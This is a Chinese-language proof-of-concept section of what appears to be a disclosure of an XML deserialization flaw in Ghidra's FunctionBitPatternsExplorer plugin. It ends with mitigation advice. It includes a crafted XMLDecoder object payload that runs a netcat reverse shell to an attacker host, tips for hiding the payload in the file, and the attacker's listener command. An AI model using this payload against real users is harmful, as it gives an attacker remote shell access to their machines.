概念验证:
该漏洞需要多个且相对不大可能同时满足的条件才能被触发,这一事实限制了其可利用性。然而,考虑到它可能导致任意代码执行,构建有效载荷所需的努力和理解很少。
创建有效载荷:
为了创建要在目标上运行的有效载荷,可以使用 Ghidra 内置的一个脚本。要访问它,请点击“窗口”->“脚本管理器”,然后在您已添加到代码浏览器的任意二进制文件上运行“DumpFunctionPatternInfoScript.java”,使用默认参数(但请确保要保存输出的文件夹路径存在)。此脚本会生成一个 XML 输出文件,该文件之后将被加载到易受攻击的组件中。

此 XML 模板可用于注入对象,该对象将被反序列化为 Java 代码并静默执行,而不会提醒用户。本质上,恶意代码将作为一个附加对象插入到 XML 文件的末尾,在 结束标签之前。以下是一个代表反向 Shell 的对象有效载荷示例:
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string>
</void>
</object>
上述内容将被反序列化为以下 Java 代码:
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")
就有效载荷而言,选项是无限的,因为任何 Java 代码(甚至是复杂的恶意软件)都可以通过这种方式运行,只要它被正确序列化为 XMLDecoder 所需的 XML 格式。如果将有效载荷插入到模板中的其他位置(以进一步隐藏),则需要小心,因为它可能会在反序列化期间产生异常,从而提醒用户。
执行:
有效载荷执行的过程利用了 Ghidra 的图形用户界面,无法自动化。相反,它需要受害者的人工交互,这代表了漏洞利用所需满足的另一个条件。
要使此漏洞利用在受害者的计算机上生效,Ghidra 需要启用实验性插件“FunctionBitPatternsExplorer”。可以通过以下步骤实现:

接下来,用户需要从“窗口”->“功能位模式资源管理器”打开该插件,并使用“读取 XML 文件”功能加载 XML 文件。然而,这给条件部分带来了另一个挑战。攻击者需要一种方式让用户将 XML 有效载荷下载到他的机器上。
回到受害者的视角,该功能不会让你在列表中看到 XML 文件,因此如果您的目录看起来是空的,那是正常的。如果您开始在“文件名”文本框中输入它们的名称,它们将显示出来,但重要的是不要选择任何文件,而是将选择器指向目录,因为它会自动选取文件。

在用户点击“确定”之前,攻击者(joe)需要在他的远程主机上运行一个监听器,并等待连接。这可以通过以下方式轻松实现:
$ nc -lvnp <listening_port>
执行后,结果如下所示:

由于涉及多种条件,该漏洞极不可能在大规模范围内被利用。在提供新补丁之前,最佳的缓解措施是禁用(或一开始就不启用)受影响的实验性插件。然而,如果必须使用该插件,XML 文件应来自可信来源。